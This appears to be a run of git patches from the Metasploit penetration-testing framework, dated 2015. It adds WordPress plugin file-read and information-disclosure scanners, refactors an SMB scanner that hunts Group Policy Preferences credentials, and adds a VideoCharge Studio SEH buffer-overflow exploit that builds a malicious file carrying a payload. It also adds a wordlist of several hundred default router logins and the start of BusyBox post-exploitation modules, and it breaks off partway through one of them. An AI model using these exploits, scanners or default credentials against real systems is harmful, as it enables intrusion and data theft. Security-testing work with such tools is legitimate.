b/modules/auxiliary/scanner/http/wp_subscribe_comments_file_read.rb @@ -21,7 +21,9 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - ['WPVDB', '8102'] + ['WPVDB', '8102'], + ['URL', 'http://packetstormsecurity.com/files/132694/'], + ['URL', 'https://security.dxw.com/advisories/admin-only-local-file-inclusion-and-arbitrary-code-execution-in-subscribe-to-comments-2-1-2/'] ], 'Author' => [ From f4679f5341addf9c6a7ac6ea6cb7c01cc13fbc2d Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 4 Aug 2015 02:21:26 -0300 Subject: [PATCH 0232/2172] Added WP Mobile Pack Info Disclosure Vuln - Functional Module. --- .../http/wp_mobile_pack_info_disclosure.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb new file mode 100644 index 0000000000..3ec9c4c703 --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Mobile Pack Information Disclosure Vulnerability', + 'Description' => %q{ + This module exploits a information disclosure vulnerability in WordPress Plugin + "WP Mobile Pack" version 2.1.2, allowing to read files with privileges + informations. + }, + 'References' => + [ + ['WPVDB', '8107'] + ], + 'Author' => + [ + 'Nitin Venkatesh', # Vulnerability Discovery + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('POSTID', [true, 'Set the post identification to read', '1']) + ], self.class) + end + + def check + check_plugin_version_from_readme('wordpress-mobile-pack', '2.1.3') + end + + def run_host(ip) + + postid = datastore['POSTID'] + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'wordpress-mobile-pack', 'export', 'content.php'), + 'vars_get' => + { + 'content' => 'exportarticle', + 'callback' => 'exportarticle', + 'articleId' => "#{postid}" + } + ) + + if res && res.code == 200 && res.body.length > 0 + + vprint_status('Downloading information...') + vprint_line("\n#{res.body}\n") + + fname = datastore['FILEPATH'] + + path = store_loot( + 'mobilepack.disclosure', + 'text/plain', + ip, + res.body, + fname + ) + + print_good("#{peer} - File saved in: #{path}") + else + print_error("#{peer} - Nothing was downloaded. You can try to verify the POSTID parameter.") + end + end +end From 19ceccd93a13bfd04910615d5eec6ebcff618be9 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 4 Aug 2015 03:13:11 -0300 Subject: [PATCH 0233/2172] Added JSON parse output. --- .../http/wp_mobile_pack_info_disclosure.rb | 32 +++++++++++-------- 1 file changed, 19 insertions(+), 13 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index 3ec9c4c703..6e4630b574 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -45,30 +45,36 @@ class Metasploit3 < Msf::Auxiliary postid = datastore['POSTID'] - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(wordpress_url_plugins, 'wordpress-mobile-pack', 'export', 'content.php'), - 'vars_get' => - { + begin + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_plugins, 'wordpress-mobile-pack', 'export', 'content.php'), + 'vars_get' => { 'content' => 'exportarticle', 'callback' => 'exportarticle', 'articleId' => "#{postid}" } - ) + ) + temp = JSON.parse(res.body.gsub(/exportarticle\(/, "").gsub(/\)/, "")) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e + print_error("#{peer} - The following Error was encountered: #{e.class}") + return + end - if res && res.code == 200 && res.body.length > 0 + if res && + res.code == 200 && + res.body.length > 0 && + res.headers['Content-Type'].include?('application/json') - vprint_status('Downloading information...') - vprint_line("\n#{res.body}\n") - - fname = datastore['FILEPATH'] + vprint_status('Enumerating information...') + res_clean = JSON.pretty_generate(temp) + vprint_good("Found:\n\n#{res_clean}\n") path = store_loot( 'mobilepack.disclosure', 'text/plain', ip, - res.body, - fname + res_clean ) print_good("#{peer} - File saved in: #{path}") From d9b6e9cc58286d52b077fb80a586cc2f8ae6b643 Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 4 Aug 2015 03:44:25 -0300 Subject: [PATCH 0234/2172] Changed res condition and some words. --- .../scanner/http/wp_mobile_pack_info_disclosure.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index 6e4630b574..d9c69b9ca1 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - OptString.new('POSTID', [true, 'Set the post identification to read', '1']) + OptString.new('POSTID', [true, 'The post identification to read', '1']) ], self.class) end @@ -63,10 +63,11 @@ class Metasploit3 < Msf::Auxiliary if res && res.code == 200 && - res.body.length > 0 && - res.headers['Content-Type'].include?('application/json') + res.body.length > 29 && + res.headers['Content-Type'].include?('application/json') && + !res.body.include?('"error":') - vprint_status('Enumerating information...') + vprint_status('Enumerating...') res_clean = JSON.pretty_generate(temp) vprint_good("Found:\n\n#{res_clean}\n") @@ -76,10 +77,9 @@ class Metasploit3 < Msf::Auxiliary ip, res_clean ) - print_good("#{peer} - File saved in: #{path}") else - print_error("#{peer} - Nothing was downloaded. You can try to verify the POSTID parameter.") + print_error("#{peer} - Nothing was downloaded. You can try checking the POSTID parameter.") end end end From 7bb4f9479f5355b0f692e0d4d5d6f1d85d1187da Mon Sep 17 00:00:00 2001 From: Roberto Soares <robertoespreto@gmail.com> Date: Tue, 4 Aug 2015 03:58:57 -0300 Subject: [PATCH 0235/2172] Added new reference and removed empty line. --- .../auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index d9c69b9ca1..42b243f59a 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -21,7 +21,8 @@ class Metasploit3 < Msf::Auxiliary }, 'References' => [ - ['WPVDB', '8107'] + ['WPVDB', '8107'], + ['URL', 'https://packetstormsecurity.com/files/132750/'] ], 'Author' => [ @@ -42,7 +43,6 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - postid = datastore['POSTID'] begin From e96717950c0bd8f6850cf76818e0e3589559fb33 Mon Sep 17 00:00:00 2001 From: Josh Abraham <jabra@spl0it.org> Date: Thu, 6 Aug 2015 08:18:26 -0400 Subject: [PATCH 0236/2172] refactored --- modules/auxiliary/scanner/smb/smb_enum_gpp.rb | 25 +++++++++++-------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index 715b9d4f9b..de8965bdc9 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -159,7 +159,7 @@ class Metasploit3 < Msf::Auxiliary :path => path, :xml => data } - retobj[:domain] = spath[1] + retobj[:domain] = spath[0] parse_xml(ip,path,retobj) if retobj @@ -192,17 +192,20 @@ class Metasploit3 < Msf::Auxiliary subfolders << key end + gpp_locations = [ "\\MACHINE\\Preferences\\Groups\\Groups.xml", + "\\USER\\Preferences\\Groups\\Groups.xml", + "\\MACHINE\\Preferences\\Services\\Services.xml", + "\\USER\\Preferences\\Printers\\Printers.xml", + "\\USER\\Preferences\\Drives\\Drives.xml", + "\\MACHINE\\Preferences\\Datasources\\DataSources.xml", + "\\USER\\Preferences\\Datasources\\DataSources.xml", + "\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", + "\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml", + ] subfolders.each do |i| - i = "#{corpdomain}\\Policies\\#{i}" - check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Groups\\Groups.xml") - check_path(ip,"\\#{i}\\USER\\Preferences\\Groups\\Groups.xml") - check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Services\\Services.xml") - check_path(ip,"\\#{i}\\USER\\Preferences\\Printers\\Printers.xml") - check_path(ip,"\\#{i}\\USER\\Preferences\\Drives\\Drives.xml") - check_path(ip,"\\#{i}\\MACHINE\\Preferences\\Datasources\\DataSources.xml") - check_path(ip,"\\#{i}\\USER\\Preferences\\Datasources\\DataSources.xml") - check_path(ip,"\\#{i}\\MACHINE\\Preferences\\ScheduledTasks\\ScheduledTasks.xml") - check_path(ip,"\\#{i}\\USER\\Preferences\\ScheduledTasks\\ScheduledTasks.xml") + gpp_locations.each do |gpp_l| + check_path(ip,"#{corpdomain}\\Policies\\#{i}#{gpp_l}") + end end disconnect From 28ad0fccbd5134722050d871f1962c6543f503a0 Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Fri, 7 Aug 2015 15:54:32 -0400 Subject: [PATCH 0237/2172] Added VideoCharge Studio File Format Exploit --- .../windows/fileformat/videocharge_studio.rb | 92 +++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 modules/exploits/windows/fileformat/videocharge_studio.rb diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb new file mode 100644 index 0000000000..6204fa1843 --- /dev/null +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VideoCharge Studio 2.12.3.685 Buffer Overflow (SEH)', + 'Description' => %q{ + This module exploits a stack based buffer overflow in VideoCharge Studio 2.12.3.685 when + processing a specially crafted .VSC file. This vulnerability could be + exploited by a remote attacker to execute arbitrary code on the target + machine by enticing a user of VideoCharge Studio to open a malicious .VSC file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'metacom', # Original discovery + 'Andrew Smith', # MSF Module + ], + 'References' => + [ + [ 'OSVDB', '69616' ], + [ 'CVE', '' ], + [ 'EBD', '29234' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x3c\x22\x26", + 'DisableNops' => true, + }, + + 'Targets' => + [ + [ 'VideoCharge Studio 2.12.3.685', + { + 'Ret' => 0x61B811F1, #p/p/r | zlib1.dll + 'Offset' => 824 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Oct 27 2013', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class) + + end + + def exploit + + buffer = "\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E\x30\x22" + buffer << "\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x57\x69\x6E\x64\x6F\x77\x73\x2D\x31\x32" + buffer << "\x35\x32\x22\x20\x3F\x3E\x3C\x63\x6F\x6E\x66\x69\x67\x20\x76\x65\x72\x3D\x22\x32\x2E" + buffer << "\x31\x32\x2E\x33\x2E\x36\x38\x35\x22\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D" + buffer << "\x65\x3D\x22\x46\x69\x6C\x65\x73\x22\x2F\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61" + buffer << "\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x73\x22\x3E\x0A\x0A\x3C\x50\x72\x6F\x70" + buffer << "\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x50\x72\x6F\x66\x69\x6C\x65\x22\x3E\x0A" + buffer << "\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x46\x6F\x72\x6D\x61\x74\x73\x22" + buffer << "\x3E\x0A\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74" + buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22" + buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22" + buffer << make_nops(target['Offset']-payload.encoded.length) + buffer << payload.encoded + buffer << "\xeb\x06\x90\x90" #nseh negative jump + buffer << [target.ret].pack("V") + buffer << "\xe9\x3f\xfd\xff\xff" #long jump + buffer << "\x22\x2F\x3E\x0A\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x0A\x3C\x2F" + buffer << "\x63\x6F\x6C\x73\x3E\x0A\x0A\x3C\x63\x6F\x6C\x73\x20\x6E\x61\x6D\x65\x3D\x22\x52\x6F" + buffer << "\x6D\x61\x6E\x69\x61\x20\x53\x65\x63\x75\x72\x69\x74\x79\x20\x54\x65\x61\x6D\x22\x2F" + buffer << "\x3E\x0A\x0A\x3C\x2F\x50\x72\x6F\x70\x65\x72\x74\x79\x3E\x0A\x0A\x3C\x2F\x63\x6F\x6C" + buffer << "\x73\x3E\x0A\x0A\x3C\x2F\x63\x6F\x6E\x66\x69\x67\x3E" + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(buffer) + + end +end + From 23f51bf2653cac025154b72d393f9f9ef4ec43ab Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Fri, 7 Aug 2015 18:04:11 -0400 Subject: [PATCH 0238/2172] specify junk data --- modules/exploits/windows/fileformat/videocharge_studio.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 6204fa1843..58d3fb2132 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote buffer << "\x3E\x0A\x0A\x3C\x50\x72\x6F\x70\x65\x72\x74\x79\x20\x6E\x61\x6D\x65\x3D\x22\x53\x74" buffer << "\x72\x65\x61\x6D\x22\x3E\x0A\x0A\x3C\x56\x61\x6C\x75\x65\x20\x6E\x61\x6D\x65\x3D\x22" buffer << "\x4E\x61\x6D\x65\x22\x20\x74\x79\x70\x65\x3D\x22\x38\x22\x20\x76\x61\x6C\x75\x65\x3D\x22" - buffer << make_nops(target['Offset']-payload.encoded.length) + buffer << "\x41" * (target['Offset']-payload.encoded.length) buffer << payload.encoded buffer << "\xeb\x06\x90\x90" #nseh negative jump buffer << [target.ret].pack("V") From e141d1451c15d81ae985b788d498f8592a1c690d Mon Sep 17 00:00:00 2001 From: OJ <oj@buffered.io> Date: Mon, 10 Aug 2015 09:33:38 +1000 Subject: [PATCH 0239/2172] Fix calls to stage_payload --- lib/msf/core/payload/generic.rb | 26 ++++++------------- lib/msf/core/payload/stager.rb | 2 +- .../payload/windows/reflectivedllinject.rb | 2 +- .../windows/x64/reflectivedllinject.rb | 2 +- 4 files changed, 11 insertions(+), 21 deletions(-) diff --git a/lib/msf/core/payload/generic.rb b/lib/msf/core/payload/generic.rb index 91a288e599..0fda6c7757 100644 --- a/lib/msf/core/payload/generic.rb +++ b/lib/msf/core/payload/generic.rb @@ -20,23 +20,13 @@ module Payload::Generic def initialize(info = {}) super(merge_info(info, 'Arch' => ARCH_ALL - [ARCH_TTY], - 'Platform' => '')) + 'Platform' => '' + )) - register_advanced_options( - [ - OptString.new('PLATFORM', - [ - false, - "The platform that is being targeted", - nil - ]), - OptString.new('ARCH', - [ - false, - "The architecture that is being targeted", - nil - ]) - ], Msf::Payload::Generic) + register_advanced_options([ + OptString.new('PLATFORM', [false, "The platform that is being targeted", nil]), + OptString.new('ARCH', [false, "The architecture that is being targeted", nil]) + ], Msf::Payload::Generic) end # @@ -103,8 +93,8 @@ module Payload::Generic # Stager overrides # - def stage_payload - redirect_to_actual(:stage_payload) + def stage_payload(*args) + redirect_to_actual(:stage_payload, *args) end def stage_offsets diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index 574e3ef6ae..9d61ab3dce 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -88,7 +88,7 @@ module Msf::Payload::Stager # Can be nil if the final stage is not pre-assembled. # # @return [String,nil] - def stage_payload + def stage_payload(opts = {}) return module_info['Stage']['Payload'] end diff --git a/lib/msf/core/payload/windows/reflectivedllinject.rb b/lib/msf/core/payload/windows/reflectivedllinject.rb index 50139c1e4f..b740201d30 100644 --- a/lib/msf/core/payload/windows/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/reflectivedllinject.rb @@ -70,7 +70,7 @@ module Payload::Windows::ReflectiveDllInject ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) diff --git a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb index 0194d902d3..4a747a7359 100644 --- a/lib/msf/core/payload/windows/x64/reflectivedllinject.rb +++ b/lib/msf/core/payload/windows/x64/reflectivedllinject.rb @@ -71,7 +71,7 @@ module Payload::Windows::ReflectiveDllInject_x64 ^ end - def stage_payload + def stage_payload(opts = {}) # Exceptions will be thrown by the mixin if there are issues. dll, offset = load_rdi_dll(library_path) From 6e684d46f28363fb917fc5d0b2f1d51f9e2fc649 Mon Sep 17 00:00:00 2001 From: Alex Watt <alexcwatt@gmail.com> Date: Mon, 10 Aug 2015 12:07:29 -0400 Subject: [PATCH 0240/2172] Ensure exceptions don't interfere with `busy` --- lib/rex/ui/text/dispatcher_shell.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/ui/text/dispatcher_shell.rb b/lib/rex/ui/text/dispatcher_shell.rb index faa889eecb..c925e843a4 100644 --- a/lib/rex/ui/text/dispatcher_shell.rb +++ b/lib/rex/ui/text/dispatcher_shell.rb @@ -426,6 +426,7 @@ module DispatcherShell else dispatcher.send('cmd_' + method, *arguments) end + ensure self.busy = false end From 5ff61ca5f38474cda561e2542af00add02fabc71 Mon Sep 17 00:00:00 2001 From: jvicente <javier.vicente@byteheed.com> Date: Mon, 10 Aug 2015 18:29:41 +0200 Subject: [PATCH 0241/2172] Added modules to jailbreak and control remotely BusyBox based devices. It was added to a word list with default credentials typically used by commercial routers. --- data/wordlists/routers_userpass.txt | 398 ++++++++++++++++++ .../linux/gather/busybox_enum_connections.rb | 68 +++ .../post/linux/gather/busybox_enum_hosts.rb | 63 +++ modules/post/linux/gather/busybox_pingnet.rb | 165 ++++++++ .../post/linux/manage/busybox_jailbreak.rb | 64 +++ modules/post/linux/manage/busybox_setdmz.rb | 49 +++ modules/post/linux/manage/busybox_setdns.rb | 124 ++++++ .../linux/manage/busybox_smb_share_root.rb | 74 ++++ .../post/linux/manage/busybox_wgetandexec.rb | 89 ++++ 9 files changed, 1094 insertions(+) create mode 100644 data/wordlists/routers_userpass.txt create mode 100644 modules/post/linux/gather/busybox_enum_connections.rb create mode 100644 modules/post/linux/gather/busybox_enum_hosts.rb create mode 100644 modules/post/linux/gather/busybox_pingnet.rb create mode 100644 modules/post/linux/manage/busybox_jailbreak.rb create mode 100644 modules/post/linux/manage/busybox_setdmz.rb create mode 100644 modules/post/linux/manage/busybox_setdns.rb create mode 100644 modules/post/linux/manage/busybox_smb_share_root.rb create mode 100644 modules/post/linux/manage/busybox_wgetandexec.rb diff --git a/data/wordlists/routers_userpass.txt b/data/wordlists/routers_userpass.txt new file mode 100644 index 0000000000..95411d6a4c --- /dev/null +++ b/data/wordlists/routers_userpass.txt @@ -0,0 +1,398 @@ +debug synnet +tech tech +adminttd adminttd +admin comcomcom +admin admin +admin synnet +monitor monitor +manager manager +admin password +User Password +Administrator admin +security security +3comcso RIP000 +recovery recovery +volition volition +Administrator 3ware +sysadm anicust +Admin admin +none 0 +admin secure +kermit kermit +dhs3mt dhs3mt +at4400 at4400 +mtch mtch +mtcl mtcl +root letacla +dhs3pms dhs3pms +adfexc adfexc +client client +install llatsni +halt tlah +admin switch +diag switch +root permit +ftp_inst pbxk1064 +ftp_admi kilo1987 +ftp_oper help1954 +ftp_nmc tuxalize +manager friend +manager admin +Manager friend +none admin +admin linga +root root +user user +admin cableroot +acc acc +device device +apc apc +root admin +root alpine +admin 0 +IntraSwitch Asante +IntraStack Asante +admin asante +readonly lucenttech2 +root ascend +admin epicrouter +customer none +DTA TJM +admin atlantis +root ROOT500 +diag danger +manuf xxyyzz +craft crftpw +root cms500 +dadmin dadmin01 +root pass +admin bintec +admin articon +patrol patrol +webadmin webadmin +installer installer +root fivranne +admin 1234 +mediator mediator +root Mau'dib +cellit cellit +admin diamond +cmaker cmaker +admin changeme +netrangr attack +bbsd-client changeme2 +bbsd-client NULL +Administrator changeme +root attack +admin default +Cisco Cisco +admin cisco +root blender +hsa hsadb +wlse wlsedb +root Cisco +admin system +user tivonpw +cisco cisco +administrator administrator +user user +operator operator +user public +PFCUser 240653C9467E45 +corecess corecess +cgadmin cgadmin +super surt +root tslinux +D-Link D-Link +root tini +anonymous any@ +root davox +davox davox +MDaemon MServer +root calvin +admin my_DEMARC +PBX PBX +NETWORK NETWORK +admin michelangelo +user password +draytek 1234 +admin 123 +login admin +login password +admin netadmin +tiger tiger123 +websecadm changeme +netman netman +1111 1111 +supervisor supervisor +anonymous Exabyte +root default +admin radius +admin isee +MGR HPP187 +MGR HPP189 +MGR HPP196 +MGR INTX3 +MGR ITF3000 +MGR NETBASE +MGR REGO +MGR RJE +MGR CONV +OPERATOR SYS +OPERATOR DISC +OPERATOR SYSTEM +OPERATOR SUPPORT +OPERATOR COGNOS +PCUSER SYS +RSBCMON SYS +SPOOLMAN HPOFFICE +WP HPOFFICE +ADVMAIL HPOFFICE DATA +ADVMAIL HP +FIELD SUPPORT +FIELD MGR +FIELD SERVICE +FIELD MANAGER +FIELD HPP187 SYS +FIELD LOTUS +FIELD HPWORD PUB +FIELD HPONLY +HELLO MANAGER.SYS +HELLO MGR.SYS +HELLO FIELD.SUPPORT +HELLO OP.OPERATOR +MAIL MAIL +MAIL REMOTE +MAIL TELESUP +MAIL HPOFFICE +MAIL MPE +MANAGER TCH +MANAGER SYS +MANAGER SECURITY +MANAGER ITF3000 +MANAGER HPOFFICE +MANAGER COGNOS +MANAGER TELESUP +MGR SYS +MGR CAROLIAN +MGR VESOFT +MGR XLSERVER +MGR SECURITY +MGR TELESUP +MGR HPDESK +MGR CCC +MGR CNAS +MGR WORD +MGR COGNOS +MGR ROBELLE +MGR HPOFFICE +MGR HPONLY +admin hp.com +storwatch specialist +vt100 public +superadmin secret +hscroot abc123 +USERID PASSW0RD +Administrator pilou +Administrator letmein +NICONEX NICONEX +setup setup +intel intel +admin hello +admin giraff +SYSDBA masterkey +intermec intermec +operator $chwarzepumpe +system sys +admin operator +admin ironport +JDE JDE +PRODDTA PRODDTA +netscreen netscreen +superuser 123456 +admin 123456 +sysadmin PASS +login access +comcast 1234 +setup changeme +setup changeme! +super super +xxx cascade +admin Ascend +readwrite lucenttech1 +LUCENT01 UI-PSWD-01 +LUCENT02 UI-PSWD-02 +admin AitbISP4eCiG +bciim bciimpw +bcim bcimpw +bcms bcmspw +bcnas bcnaspw +blue bluepw +browse browsepw +browse looker +craft craft +craft craftpw +cust custpw +enquiry enquirypw +field support +inads indspw +inads inads +init initpw +locate locatepw +maint maintpw +maint rwmaint +nms nmspw +rcust rcustpw +support supportpw +tech field +scmadmin scmchangeme +Administrator password +MICRO RSX +service smile +system password +cablecom router +admin motorola +router router +SYSADM sysadm +admin admin123 +GlobalAdmin GlobalAdmin +super 5777364 +superman 21241036 +naadmin naadmin +netopia netopia +admin noway +admin NetCache +e500 e500changeme +e250 e250changeme +guest guest +admin asd +vcr NetVCR +m1122 m1122 +telecom telecom +disttech 4tas +maint maint +mlusr mlusr +admin root +l2 l2 +l3 l3 +ro ro +rw rw +rwa rwa +admin setup +login 0 +login 1111 +login 8429 +spcl 0 +root 3ep5w2u +maint ntacdmax +ccrusr ccrusr +supervisor PlsChgMe! +266344 266344 +supervisor PlsChgMe1 +admin adslolitec +admin OCS +adminstat OCS +adminview OCS +adminuser OCS +helpdesk OCS +sys uplink +cac_admin cacadmin +system sys +manager change_on_install +admin kont2004 +Manager Manager +sysadm sysadm +write private +debug d.e.b.u.g +echo echo +PSEAdmin $secure$ +admin superuser +admin mu +admin microbusiness +admin smallbusiness +Polycom SpIp +support h179350 +lp lp +radware radware +wradmin trancell +piranha q +piranha piranha +sysadmin password +setup changeme +teacher password +temp1 password +admin rmnetlm +admin2 changeme +adminstrator changeme +deskalt password +deskman changeme +desknorm password +deskres password +replicator replicator +RMUser1 password +topicalt password +topicnorm password +topicres password +root 1234 +public public +admin w2402 +GEN1 gen1 +GEN2 gen2 +ADMN admn +eng engineer +op op +op operator +su super +poll tech +sysadmin sysadmin +admin pwp +superuser admin +admin hagpolm1 +Administrator ganteng +Administrator smcadmin +admin barricade +smc smcadmin +admin smcadmin +cusadmin highspeed +1.79 + Multi +aaa often blank +admin Protector +admin conexant +admin xad$l#12 +root changeme +Sweex Mysweex +target password +install secret +super.super master +xbox xbox +telco telco +tellabs tellabs#1 +root admin_1 +tiara tiaranet +superman talent +admin extendnet +root 12345 +cablemodem robotics +NAU NAU +ADMINISTRATOR ADMINISTRATOR +HTTP HTTP +Any 12345 +support support +VTech VTech +admin visual +root 123456 +CSG SESAME +user pass +admin sysAdmin +root wyse +VNC winterm +rapport r@p8p0r+ +1502 1502 +xd xd +admin 2222 +admin 22222 +admin 1111 +admin zoomadsl +ZXDSL ZXDSL +1234 1234 +webadmin 1234 \ No newline at end of file diff --git a/modules/post/linux/gather/busybox_enum_connections.rb b/modules/post/linux/gather/busybox_enum_connections.rb new file mode 100644 index 0000000000..2c9bf79277 --- /dev/null +++ b/modules/post/linux/gather/busybox_enum_connections.rb @@ -0,0 +1,68 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize + super( + 'Name' => 'BusyBox Enumerate Connections', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will enumerate + the connections established by the hosts connected + to the router or device executing BusyBox.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + end + + + + def run + found = false + conns_files =[ + "/proc/net/nf_conntrack", "/proc/net/ip_conntrack", "/proc/net/tcp", "/proc/net/udp", "/proc/net/arp", "/proc/fcache/*" + ] + vprint_status("Searching for files that store information about network connections.") + conns_files.each do |conns_file| + if file_exists(conns_file) + found = true + print_good("Connections File found: #{conns_file}.") + begin + str_file=read_file(conns_file) + vprint_line(str_file) + #Store file + p = store_loot("Connections", "text/plain", session, str_file, conns_file, "BusyBox Device Network Established Connections") + print_good("Connections saved to #{p}.") + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file #{conns_file}, file may be empty.") + end + end + end + if found == false + print_error("Nothing read from connection files, files may be empty.") + end + end + + #file? doesnt work because test -f is not implemented in busybox + def file_exists(file_path) + s = read_file(file_path) + if s and s.length + return true + end + return false + end + +end diff --git a/modules/post/linux/gather/busybox_enum_hosts.rb b/modules/post/linux/gather/busybox_enum_hosts.rb new file mode 100644 index 0000000000..3e1d5d567c --- /dev/null +++ b/modules/post/linux/gather/busybox_enum_hosts.rb @@ -0,0 +1,63 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + + def initialize + super( + 'Name' => 'BusyBox Enumerate Hosts', + 'Description' => 'This module will be applied on a session connected + to a BusyBox sh shell. The script will enumerate + the hosts connected to the router or device executing + BusyBox.', + 'Author' => 'Javier Vicente Vallejo', + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://vallejo.cc'] + ], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell'] + ) + end + + def 